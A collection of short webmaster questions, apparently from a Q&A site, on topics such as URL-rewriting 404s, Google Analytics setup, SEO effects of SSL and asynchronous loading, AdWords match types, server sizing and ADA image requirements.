text: I've noticed some odd 404s which appear to be broken URL rewriting code. Our image viewer requests tiles using URLs like this:               /media/204/service/dzi/1/1_files/7/0_0.jpg      I see some - well under <1% - requests for slightly altered URLs:               /media/204/s/rvice/d/i/1/1_files/7/0_0.jpg      These requests come from IP addresses all over the world (US, Canada, China, Russia, India, Israel, etc.), desktop and mobile users with multiple user- agents (Chrome, IE, Firefox, Mobile Safari, etc.), and there is often normal activity within the same session from the same IP address so I'm assuming this is either malware or a broken proxy / filter. I have not seen them from anything other than images, which suggests that this may be some sort of content filter. Has anyone else seen this? My CDN logs show the first request on June 8th ramping up from several dozen to several hundred per day.


title: Why isn't Google Analytics data being recorded?

text: I am really confused with this one, I added the google analytics code in my page below the `</head>` or before `</body>` but the code is not being marked as connected inside the analytics panel. I tested it with the google analytics debug plugin and it seems to connect approprietly. Any ideas please?


title: In case of a server error, should I change the URL in the address bar?

text: Let's say the user surfs to `http://mysite.com/some-path` and encounters error 500 which leads to a custom error page. What is the best practice regarding the URL shown in the address bar while in the error page - should I leave `http://mysite.com/some-path` or should I change it to `http://mysite.com/custom-error.aspx`? Is there a good reason **not** to leave the URL as is?


title: How do I allow visitors on my site to share my photos on their facebook news feed?

text: How do I allow visitors on my site to share my photos, on their Facebook wall/news feed? I see that there is a "share" or "like" option from Facebook but that seems to share the whole page. I would like to have it so that each picture has a small Facebook icon next to it and when they click it, that specific image only is added to their Facebook news feed/wall. My site is in ASP.NET 3.5 using C#. I can develop in C# so if that is a route to what I am trying to achieve that is fine. Thank You.


title: AJAX spreadsheet editor interfaced to own website

text: My website has records that are tables. I would like for my users to be able to edit these records in an easy way. Currently they download a .csv-file, edit it in their favourite spreadsheet, and upload it again. But this often fails (they upload in wrong format or edit fields that they are not supposed to touch). I would therefore like to present the users with an editor directly on the website. So just like you can have WYSIWYG editors in CMSes for text I would like to have it for spreadsheets. One solution would be to interface my website with GoogleDoc and have the users edit the files using GoogleDoc's spreadsheet, and some how get the sheet back when they are done, but I do not know if this is possible at all.


title: Reduce HTTP Requests method for js and css

text: Is these way can Reduce HTTP Requests? multiple javascript files with `&` symbol               <script type="text/javascript"     src="http://yui.yahooapis.com/combo?2.5.2/build/yahoo-dom-event/yahoo-dom-event.js     &http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js">     </script>      multiple css files with `@` import               <style type="text/css">     @import url(css/style.css);     @import url(css/custom.css);     </style>


title: google analytics statistics

text: I am compiling a report for a client using google analytics. I have observed that the client has unusually good page view times (>5 mins) and excellent bounce rates (<25%). I need to reference research data that validates my assertion that these figures are excellent compared to an industry standard (the industry is ecommerce and gaming). **Can you direct me to any published research data that specifies normal bounce rates and page view times for this industry?**


title: How to combat negative SEO?

text: Someone has decided to create a hate blog on a hosted blogging service (`wordpress.com`) that bashes my company. The blog contains posts that completely flame myself, my service, and contains complete falsehoods about how I run my business. Without going into details, I'm pretty sure the author of this blog is an owner of a competing service (although it is authored completely anonymously). Frankly, I'm not sure if the content would qualify for defamation or not, but I really don't like the idea of spending money on a lawyer to even attempt to prove this. I also have no interest in retorting or even replying to the blog in any sort of way -- I feel this would justify the ludicrous claims that have been posted. Unfortunately, whoever wrote the blog was pretty smart about using key words that people commonly use to search for my service. Because my customer base is relatively small and local, our PageRank is not incredibly high. As a result, when someone Google's our business name, this blog is usually within the top five results (thankfully, it's never above the business' actual website, but it's usually within eyeshot). It's incredibly frustrating to hear from customers who have seen the link (luckily, most of the time they think the author is crazy). Is there anything I can do to combat this? Would it be worthwhile to setup my own hosted `wordpress.com` branded blog, in an effort to trump this `wordpress.com` with a blog that is more active of my own? **TL;DR: Someone made a hate blog using`wordpress.com` and is now on the first page of my business' search results. What are my options?**


title: Problems with Developer

text: I engaged a developer who is developing a website for me. I am not happy with him and would like that once the website is ready, I transfer the duties of further development, seo and web admin to another developer. What do I need to be aware of? and what information do i need in terms of passwords etc? The website has been developed in word press and I have access to the CMS but I am not technical so i am not sure if there are security levels for the more technical people. thanks


title: Packaging a web application for deploying at customer site

text: I want to develop a Django web application that would get deployed at the customer site. The web application would run in a private cloud environment (ESX server here) of the customer. My web application would use a MySQL database. The problem is, I would not have direct access or control of the web application. My question is, how to package such a web application with it's database and other entities so that it's easier to upgrade and update the application and it's database in future. Right now the idea I have is that I would provide a virtual machine with the Django application and database setup. The customer can just start the virtual machine and he would have the web application running. What are the other options I should consider?


title: Mixing keywords match types in Google Adwords

text: Using Google Adwords: **Q#1.** Can someone use a mix of match types in keywords? For example, can someone use the keyword `[large size] +leather "black shoes" from Atlantis`, thus using exact, modified broad match, phrase match and broad match in a single keyword? **Q#2.** If the above functionality is indeed supported, does anybody know what effects it has on an ad's performance to mix keyword match types?


title: SEO and search result changes when switching to SSL on Joomla site?

text: I am thinking about purchasing an SSL certificate for a website. The most noticeable difference for the user would be the `http` now becomes `https` and there is that lock icon in most browsers. Will there be any adverse affects on the website's current SEO or recognition by search engines when I make the switch? Also this is a Joomla site, which has an option in the settings to use SSL. It is supposed to make it easier but not sure if it takes care of everything. Thanks!


title: Server cost/requirements for a web site with thousands of concurrent users?

text: I'm working on a big project, and I do not have much experience with servers and how much they cost. The big project consist of a new table game for online playing and betting. Basically, a poker server that must be responsive with thousands of concurrent users. What type of server must i look for? What features, hardware or software, are required? Should I consider cloud computing? thank you in advance.


title: Asynchronous page loading and SEO

text: To speed up my website (or at least the time to first byte (TTFB)), I'd like to only send the layout of the page and then get the page content with an asynchronous request. This way, the TTFB will be really fast, because this will be short, lightweight and cached content. For the content to be indexed, I will analyze the User-Agent to know if I have to send the content the old- fashion way. Is this a safe way to do so, or will I be blacklisted by Google (because of the different content)? Thank in advance ! PS.: I know about the Google AJAX craw method (https://developers.google.com/webmasters/ajax-crawling/), but this is not really what I want.


title: Why does Google Cache show our G+ page and not the correct page?

text: For some reason when we try and view the cached version of our website, we see our Google plus page. We recently removed this code : `<link rel="canonical" href="link to our g+ page">`. We removed this and Google started seeing our homepage correctly. But we are now having the same problem for each of our internal pages and cannot seem to find this same piece of code of any of the other pages. Are we looking for the wrong thing? Or in the wrong place? We're very new to WordPress so any advice would be great. Thank you.


title: For Google Rich Snippets: Is it 'harmful' to add the same `hreview-aggregate` microformat markup in several places?

text: We are right now incorporating microformats markup for reviews into a client's web application and were wondering, whether it can be harmful to provide the same information on more than one page, e.g. on a dynamic search page and on the concrete product page. Does anybody have any experience with this? **UPDATE:** Actually, I was wondering, if Google showed a link to the page the review comes from, then how would they decide which of the sources of the review they would link to? Or don't they?


title: How can my organization become a Root CA?

text: I'm the founder of a little non-profit French organization. Currently, we're providing free web and shell hosting. Is there a way to become a Trusted Certificate Authority, in order to give free SSL certificates to my customers, and also to avoid being an intermediate (and pay a lot for that), and/or avoid paying a lot for each certificate?


title: What are current ADA standards / requirements on images?

text: I am wondering what ADA (American disabilities act not dental association) currently requires when it comes to images and other things not easily read by webpage "readers". I am currently trying to make sure a website meets all required standards so nobody gets yelled at or in any legal trouble if someone with disabilities were to attempt to read the page. Note: I have looked these up but I have found odd legal terms. Is there a more simple explanation such as "Must have alt tags on all images and navigation bars must do something something something?


title: How can I have multiple sessions in FF without using profiles?

text: I'd like to test my website as different users simultaneously, ideally on Firefox. Currently the only ways I know of doing this are   1. Using different browsers   2. Using profiles with FF It's frustrating using FF profiles as you have to reinstall all your development plugins, which then each need to update individually. What I'm really looking for is a simple developer tool that lets me open a FF window that keeps its cookies completely separate from the main FF instance. Ideally it would also make that window stand out in some way to help me differentiate, but that I can live without ;) Any ideas?


title: updated posts in my RSS feed

text: Should I put in my RSS feed posts that I've updated or I'll just update it but don't put it my RSS feed? (considering RSS feed contains latest 10 posts).


title: User friendly import of events from web to Google Calendar?

text: I would like to create a web page promoting local events. I would like the users to be able to easily import the events to their calendars (Google Calendar particularly). Is there any option to import an event to Google Calendar from web directly? Case scenario: User just found a theatre event on my website, that he would like to go to. Instead of manually rewriting the event to its calendar, he would choose whether he wants to Import only selected day of the show or if he wants to import all days when the show is played. He would click the desired button to export this event into his Google calendar. Google login window would open and after logging in, the user will have a new event or series of events in his calendar. I know I can achieve this somehow by creating iCal files, that the user would have to manually import to Google Calendar, but isn't there any other way to do the import more user friendly?